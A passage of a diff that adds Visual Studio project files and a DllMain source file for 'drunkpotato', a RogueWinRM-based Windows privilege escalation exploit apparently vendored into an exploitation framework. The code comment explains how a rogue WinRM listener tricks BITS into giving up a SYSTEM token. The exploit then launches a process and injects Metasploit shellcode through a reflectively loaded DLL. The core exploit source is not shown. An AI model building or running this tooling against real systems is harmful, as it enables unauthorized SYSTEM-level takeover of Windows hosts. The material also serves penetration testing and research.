<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\Common_Src_Files\base64.c" />
|
||||
<ClCompile Include="..\Common_Src_Files\LocalNegotiator.c" />
|
||||
<ClCompile Include="..\Common_Src_Files\pch.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\RogueWinRM.c" />
|
||||
<ClCompile Include="..\Common_Src_Files\Services\elevatorService.c">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\Services\service.c">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\derparse.c">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnego.c">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.c">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="dllmain.c">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../Common_Src_Files/pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\Common_Src_Files\base64.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\LocalNegotiator.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\pch.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\RogueWinRM.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\Services\elevatorService.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\Services\service.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\derparse.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnego.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.h" />
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{0de97039-6da0-4844-bd1f-15425d3c0330}</ProjectGuid>
|
||||
<RootNamespace>RogueWinRMdll</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>dll</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<TargetName>drunkpotato.x86</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<TargetName>drunkpotato.x86</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<TargetName>drunkpotato.x64</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<TargetName>drunkpotato.x64</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;DEBUGTRACE;ROGUEWINRMDLL_EXPORTS;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<SupportJustMyCode>false</SupportJustMyCode>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src\</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;ROGUEWINRMDLL_EXPORTS;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src\</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;DEBUGTRACE;ROGUEWINRMDLL_EXPORTS;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<SupportJustMyCode>false</SupportJustMyCode>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src\</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;ROGUEWINRMDLL_EXPORTS;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src\</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
90
external/source/exploits/drunkpotato/RogueWinRM dll/RogueWinRM dll.vcxproj.filters
vendored
Normal file
90
external/source/exploits/drunkpotato/RogueWinRM dll/RogueWinRM dll.vcxproj.filters
vendored
Normal file
@ -0,0 +1,90 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Fichiers sources">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Fichiers d%27en-tête">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Fichiers de ressources">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Fichiers sources\spnegotokenhandler">
|
||||
<UniqueIdentifier>{c5d2e207-ae2f-402e-aa44-dc133eebb278}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Fichiers d%27en-tête\spnegotokenhandler">
|
||||
<UniqueIdentifier>{ab9b1d3c-9391-43e5-8646-070c45c8d50a}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Fichiers d%27en-tête\Services">
|
||||
<UniqueIdentifier>{cabf9d1b-d1a4-44c9-ae2b-88276917c54d}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Fichiers sources\Services">
|
||||
<UniqueIdentifier>{fae92570-6cdd-419e-8fdc-6f5e69039243}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.c">
|
||||
<Filter>Fichiers sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\derparse.c">
|
||||
<Filter>Fichiers sources\spnegotokenhandler</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnego.c">
|
||||
<Filter>Fichiers sources\spnegotokenhandler</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.c">
|
||||
<Filter>Fichiers sources\spnegotokenhandler</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\Services\elevatorService.c">
|
||||
<Filter>Fichiers sources\Services</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\Services\service.c">
|
||||
<Filter>Fichiers sources\Services</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\base64.c">
|
||||
<Filter>Fichiers sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\LocalNegotiator.c">
|
||||
<Filter>Fichiers sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\pch.c">
|
||||
<Filter>Fichiers sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\RogueWinRM.c">
|
||||
<Filter>Fichiers sources</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\derparse.h">
|
||||
<Filter>Fichiers d%27en-tête\spnegotokenhandler</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnego.h">
|
||||
<Filter>Fichiers d%27en-tête\spnegotokenhandler</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.h">
|
||||
<Filter>Fichiers d%27en-tête\spnegotokenhandler</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\Services\elevatorService.h">
|
||||
<Filter>Fichiers d%27en-tête\Services</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\Services\service.h">
|
||||
<Filter>Fichiers d%27en-tête\Services</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\base64.h">
|
||||
<Filter>Fichiers d%27en-tête</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\LocalNegotiator.h">
|
||||
<Filter>Fichiers d%27en-tête</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\pch.h">
|
||||
<Filter>Fichiers d%27en-tête</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Common_Src_Files\RogueWinRM.h">
|
||||
<Filter>Fichiers d%27en-tête</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
63
external/source/exploits/drunkpotato/RogueWinRM dll/dllmain.c
vendored
Normal file
63
external/source/exploits/drunkpotato/RogueWinRM dll/dllmain.c
vendored
Normal file
@ -0,0 +1,63 @@
|
||||
/*
|
||||
This is an escalation privilege exploit which launch an arbitrary process as SYSTEM user.
|
||||
It takes advantage of the BITS behavior which always try to connect on port 5985 (Windows
|
||||
Remote Management) even if there is no WinRM service listening on that port. This exploit
|
||||
launch a rogue WinRM service which force BITS service to authenticate by sending it a 401
|
||||
challenge response packet. The authentication allows to steal a SYSTEM token as a primary
|
||||
token, and use it to launch an arbitrary process as SYSTEM.
|
||||
|
||||
In practice, this exploit launch notepad.exe as SYSTEM. Then, it copies the shellcode
|
||||
received from metasploit into the remote SYSTEM process and make it trigger its execution.
|
||||
|
||||
Details of the vulnerability here :
|
||||
https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
|
||||
|
||||
This exploit was developed from decoder's POC here:
|
||||
https://github.com/antonioCoco/RogueWinRM
|
||||
|
||||
PREREQUISITES/
|
||||
- Port 5985 must be free
|
||||
- BITS must not be running
|
||||
|
||||
WARNING:
|
||||
- As this exploit launches a services, a firewall popup may appear.
|
||||
*/
|
||||
|
||||
#include "ReflectiveLoader.c"
|
||||
#include "../Common_Src_Files/pch.h"
|
||||
|
||||
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
|
||||
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
|
||||
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
|
||||
|
||||
//===============================================================================================//
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
int exit_status = -1;
|
||||
BOOL bReturnValue = TRUE;
|
||||
char* shellcode_address = (LPSTR)lpReserved;
|
||||
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
hAppInstance = hinstDLL;
|
||||
if (lpReserved != NULL)
|
||||
*(HMODULE*)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
dprintf("[dllmain] Entry point.");
|
||||
hAppInstance = hinstDLL;
|
||||
|
||||
exit_status = RunRogueWinRM(shellcode_address);
|
||||
dprintf("[dllmain] Exit status: %d", exit_status);
|
||||
ExitProcess(exit_status);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
189
external/source/exploits/drunkpotato/RogueWinRM exe/RogueWinRM exe.vcxproj
vendored
Normal file
189
external/source/exploits/drunkpotato/RogueWinRM exe/RogueWinRM exe.vcxproj
vendored
Normal file
@ -0,0 +1,189 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\Common_Src_Files\base64.c" />
|
||||
<ClCompile Include="..\Common_Src_Files\LocalNegotiator.c" />
|
||||
<ClCompile Include="..\Common_Src_Files\pch.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\RogueWinRM.c" />
|
||||
<ClCompile Include="..\Common_Src_Files\Services\elevatorService.c">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\Services\service.c">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\derparse.c">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnego.c">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.c">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="main.c">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">../Common_Src_Files/pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\Common_Src_Files\base64.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\LocalNegotiator.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\pch.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\RogueWinRM.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\Services\elevatorService.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\Services\service.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\derparse.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnego.h" />
|
||||
<ClInclude Include="..\Common_Src_Files\spnegotokenhandler\spnegoparse.h" />
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{1a369363-2fe2-4694-9135-ea1a19105473}</ProjectGuid>
|
||||
<RootNamespace>RogueWinRMexe</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>exe</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<TargetName>drunkpotato.x86</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<TargetName>drunkpotato.x86</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<TargetName>drunkpotato.x64</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<TargetName>drunkpotato.x64</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;DEBUGTRACE;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
